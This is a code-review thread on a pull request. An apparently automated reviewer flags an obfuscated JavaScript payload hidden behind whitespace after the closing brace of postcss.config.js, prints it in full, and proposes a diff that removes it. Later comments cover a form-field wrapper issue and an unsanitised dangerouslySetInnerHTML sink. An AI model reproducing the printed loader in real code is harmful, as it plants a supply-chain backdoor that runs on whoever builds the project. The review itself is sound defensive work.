| }; global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() |
There was a problem hiding this comment.
🚨 CRITICAL: Malicious code injection detected - DO NOT MERGE
This line contains obfuscated JavaScript code hidden after the legitimate config closing }; with ~300+ whitespace characters. This exhibits classic characteristics of a supply chain attack or malicious commit:
- Payload concealment: Excessive whitespace pushes malicious code off-screen in most editors
- String obfuscation:
_$_1e42function uses character shuffling to decode hidden strings - Global scope pollution: Exposes Node's
requireandmoduleglobally (global[_$_1e42[0]]= require) - Immediate execution: IIFE executes arbitrary obfuscated code when the config loads
This code is completely unrelated to the PR objectives (settings id-keyed dependencies) and should not be present in a PostCSS configuration file.
Immediate actions required:
- Do not merge this PR
- Revert this file to its previous clean state
- Investigate how this code was introduced (compromised dependencies, malicious commit, etc.)
- Audit other files in this PR and recent commits for similar injections
- Check if the author's credentials may have been compromised
🔒 Proposed fix
-}; global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;`@oRR`(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(`#e`=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+};📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| }; global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() | |
| }; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` at line 5, The postcss.config.js contains a malicious
obfuscated payload appended after the legitimate config closing "};" (look for
symbols _$_1e42, the global[_$_1e42[0]] = require assignment and the trailing
IIFE); remove everything from immediately after the legitimate config end (the
"};") including the _$_1e42 function, global assignments and the IIFE, and
restore the file to its previous clean state (use git to revert the file if
available); after removal, ensure the file only exports the intended PostCSS
config (no extra globals or IIFEs), run a quick repo scan for other occurrences
of _$_1e42 or similar obfuscation and audit recent commits/credentials as part
of follow-up.
| export function InfoPreviewField({ element, onChange }: FieldComponentProps) { | ||
| const { applyFilters, hookPrefix } = useSettings(); | ||
|
|
||
| const value: InfoPreviewValue = | ||
| (element.value as InfoPreviewValue) || | ||
| (element.default as InfoPreviewValue) || | ||
| {}; | ||
|
|
||
| const handleToggle = (key: string, checked: boolean) => { | ||
| onChange(element.id, { ...value, [key]: checked }); | ||
| }; | ||
|
|
||
| const filterPrefix = hookPrefix || 'plugin_ui'; | ||
| const customPreview = applyFilters( | ||
| `${filterPrefix}_settings_info_preview_field_preview`, | ||
| null, | ||
| element, | ||
| value, | ||
| ); | ||
| const preview = | ||
| customPreview ?? | ||
| (element.image_url ? ( | ||
| <img | ||
| src={element.image_url} | ||
| alt="" | ||
| className="max-w-[200px] h-auto rounded border border-border" | ||
| /> | ||
| ) : null); | ||
|
|
||
| const displayLabel = element.label || element.title || ''; | ||
| const options = element.options ?? []; | ||
|
|
||
| return ( | ||
| <div className="p-5"> | ||
| <div className="flex items-start justify-between gap-8"> | ||
| <div className="flex-1 min-w-0 max-w-lg"> | ||
| {displayLabel && ( | ||
| <div className="text-sm font-semibold text-foreground"> | ||
| {displayLabel} | ||
| </div> | ||
| )} | ||
| {element.description && ( | ||
| <div className="text-xs text-muted-foreground leading-relaxed mt-1"> | ||
| <RawHTML>{element.description}</RawHTML> | ||
| </div> | ||
| )} | ||
| {options.length > 0 && ( | ||
| <div className="mt-4 flex flex-col gap-3"> | ||
| {options.map((option) => { | ||
| const key = String(option.value); | ||
| return ( | ||
| <LabeledCheckbox | ||
| key={key} | ||
| label={option.label ?? key} | ||
| checked={Boolean(value[key])} | ||
| onCheckedChange={(checked) => | ||
| handleToggle(key, Boolean(checked)) | ||
| } | ||
| /> | ||
| ); | ||
| })} | ||
| </div> | ||
| )} | ||
| </div> | ||
| {preview && <div className="shrink-0">{preview}</div>} | ||
| </div> | ||
| </div> | ||
| ); | ||
| } |
There was a problem hiding this comment.
New field variants bypass shared field/error wrapper.
InfoPreviewField and DangerSwitchField render custom shells and skip the shared wrapper path, so validation errors/consistent label-description behavior are not guaranteed.
As per coding guidelines, "Wrap form controls with the Field component for consistent label, description, and error display."
Also applies to: 593-710
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/settings/fields.tsx` around lines 514 - 582, InfoPreviewField
and DangerSwitchField bypass the shared Field wrapper causing missing labels,
descriptions and error displays; wrap their form controls with the existing
Field component. Update InfoPreviewField (and DangerSwitchField) to render
inside the Field wrapper used by other fields: pass element, onChange and
children into <Field> and move displayLabel, description, options and validation
UI into Field’s children so the shared label/description/error rendering is
used; keep custom preview and controls as the Field children content and retain
existing callbacks (handleToggle/onCheckedChange) unchanged. Ensure you
import/use the same Field component used across settings fields so validation
messages and consistent layout appear.
| <div | ||
| className="prose prose-sm max-w-none" | ||
| dangerouslySetInnerHTML={{ __html: element.html_content }} | ||
| /> |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Verify unsafe HTML sinks and whether sanitization utilities already exist.
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss" --type ts --type tsxRepository: getdokan/plugin-ui
Length of output: 90
🏁 Script executed:
#!/bin/bash
# Search for HTML injection patterns and sanitization utilities
# Fix: use --type ts instead of tsx, search ts and tsx files differently
# Search for patterns related to HTML injection and sanitization
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss|html_content" --type ts
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss|html_content" --glob "*.tsx"Repository: getdokan/plugin-ui
Length of output: 7369
🏁 Script executed:
#!/bin/bash
# Read the full HtmlField implementation to understand context
cat -n src/components/settings/fields.tsx | sed -n '910,940p'Repository: getdokan/plugin-ui
Length of output: 1165
🏁 Script executed:
#!/bin/bash
